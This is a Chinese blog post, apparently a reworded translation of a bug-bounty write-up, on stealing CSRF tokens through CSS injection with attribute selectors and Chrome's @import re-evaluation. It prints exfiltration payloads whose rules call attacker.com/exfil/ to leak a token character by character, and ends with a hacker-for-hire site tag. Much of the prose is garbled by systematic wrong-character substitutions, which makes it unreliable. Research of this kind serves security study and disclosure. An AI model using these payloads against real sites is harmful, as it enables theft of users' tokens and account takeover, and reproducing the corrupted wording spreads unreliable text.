本文首要详细分析了我怎么从头发现一种缝隙运用技能,成功绕过现有的缓解办法,对方针产生了适当有限的影响,并取得了5位数的奖金。
启示:一个古怪的HTML注入事例
André Baptista和Cache-Money正在研讨一个十分古怪的缝隙。这一缝隙开端是一个简略的字符集绕过,经过一系列张狂的缝隙运用过程后,演变成方针其他方位的HTML注入(不是完好的XSS)。这是一个十分酷的缝隙运用链,能够说这两位研讨者现已取得了必定成果,但要进行下一步运用,还存在一些问题。
在得知他们所取得的发展之后,我开端考虑是否能够供给一些协助,以提高这一缝隙的运用办法。现在,咱们能确认的最严峻的运用程度,是一次相对有用的点击绑架。0xACB(Andre)和Cache-Money有一个十分棒的思路,便是怎么将更多的进犯链衔接在一起,以潜在的完成高影响力,但我有一个不同的思路。
当咱们确认,在默许情况下,DomPurify能够完成款式符号之后,我开端考虑,是否能够运用CSS做更多工作,而不仅仅是操作DOM。假如咱们现已阅读过我之前的文章,想必现已了解,我对CSS注入缝隙运用比较了解。但惋惜的是,这个页面具有结构维护(Frame Protection),需求一些用户交互来触发注入。假如咱们想要走漏灵敏的信息,好像需求很长的时刻来完成,或许需求很多天。当然,这是一个弱的,且简单出现问题的进犯办法,而且最多咱们只能取得小4位数的奖金。
我需求一种办法来完成对浏览器的进犯,而且这种办法更好无需从头加载、iframe或其他用户交互。由此,我从头评价了多个CSS Payload,并测验进行相似这样的进犯。此外,由于对能够注入的Payload的长度有约束,所以能够更进一步。所以,我开端考虑一些值得重视的CSS功用特性,在@import之前,好像不或许只运用标签来完成运用。
CSS注入入门
在深化了解该缝隙运用技能之前,我想先花费一小段时刻,来描述一下CSS注入中运用的传统Token浸透技能。假如各位读者现已了解,请直接跳到下一章。此外,在我之前的博客文章中愈加深化地介绍了该技能。
传统的CSS注入Token浸透技能,依赖于称为特点选择器(Attribute Selectors)的CSS特性。假如该元素的特点满意选择器指示的条件,那么特点选择器将答应开发人员指定特定款式,该特定款式仅运用于该元素。
咱们能够运用特点选择器,创立仅在某些条件下运用于页面上灵敏元素的规矩。然后,咱们能够运用像background-image这样的特点,使浏览器在运用这些款式时调用进犯者操控的体系。这样一来,咱们便能够树立一个唆使Token走漏的反应循环。
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
在这一示例中,咱们告知浏览器“假如CSRF Token以a最初,那么就将布景图画设置为https://attacker.com/exfil/a上的图画”。随后,咱们对Token或许存在的一切开始字母重复这一规矩(a、b、c……7、8、9等)。
一旦咱们知道了Token的榜首个字符是什么,咱们就能够再次履行进犯(一般运用iframe),咱们需求略微修正一下Payload。
input[name=csrf][value^=ca]{
background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=cb]{
background-image: url(https://attacker.com/exfil/cb);
}
/* ... */
input[name=csrf][value^=c9]{
background-image: url(https://attacker.com/exfil/c9);
}
在此示例中,咱们假定CSRF Token的榜首个Token是c。经过这种办法,咱们能够从头运转从前的规矩,来确认CSRF Token的第二个字符,但一切Token都以c为最初。
该技能的先决条件如下:
1. CSS注入需求答应满足长的Payload;
2. 需求能够构建页面以触发CSS从头评价新生成的Payload;
3. 需求能够运用外部保管的图画(或许被CSP阻挠)。
这意味着,假如注入不答应满足巨细的Payload,或许页面不答应运用结构,那么这种技能将不适用。在咱们的比如中,就无法运用这种技能,由于存在结构的缓解,而且咱们实践能够注入的字符数量是有限的。
找到救星:@import
许多编程言语都能够从其他源文件导入代码,CSS也不破例。虽然许多人或许只知道,但CSS自身实践上有一种办法能够运用名为@import的at-rule履行相似(但不同)类型的款式表包括。
在大多数情况下,@import履即将获取的款式表直接交换到当时款式表中。这答应开发人员引进外部款式,一起掩盖@import行下面的外部资源中界说的任何不需求的指令。
在某些浏览器(即Chrome)中完成此功用,存在另一个值得重视的副作用,外部资源能够与浏览器并行获取,一起处理款式表的其余部分。我的了解是,这种行为增加了页面的TTI,一起企图减轻“无格局内容的闪耀”(Flashed of Unstyled Content,参阅:FOUC问题),但它在实践的缝隙运用中有所协助。
幻想一下,咱们有一个包括以下款式表的网页:
@import url(http://laggysite.com/base.css);
* { color: red; }
Chrome会经过3个过程处理此款式表:
1. 向http://laggysite.com/base.css宣布恳求
2. 评价剩下的指令(apply * { color: red; })
3. 当http://laggysite.com/base.css回来时,将呼应替换为款式表,并从头评价款式表。
当@import方针呼应模拟与原有技能中iframe所需的相同“操控从头评价CSS”行为的才能时,咱们能够运用这种浏览器的行为,来从头评价款式表。咱们运用@import的仅有要求是,咱们有必要能够操控款式符号的最初部分,由于这实践上是要完成HTML注入。
为此,咱们将在款式表中创立一些@import规矩,让咱们的服务器坚持一切衔接的敞开。然后,咱们运用规范的CSS注入Token exfil Payload,从target特点中提取榜首个Token。在咱们的服务器从后台款式接收到这一Token之后,咱们就能够生成下一个Token exfil Payload,并运用新创立的Payload呼应下一个待处理的@import规矩。[1][2]黑客接单网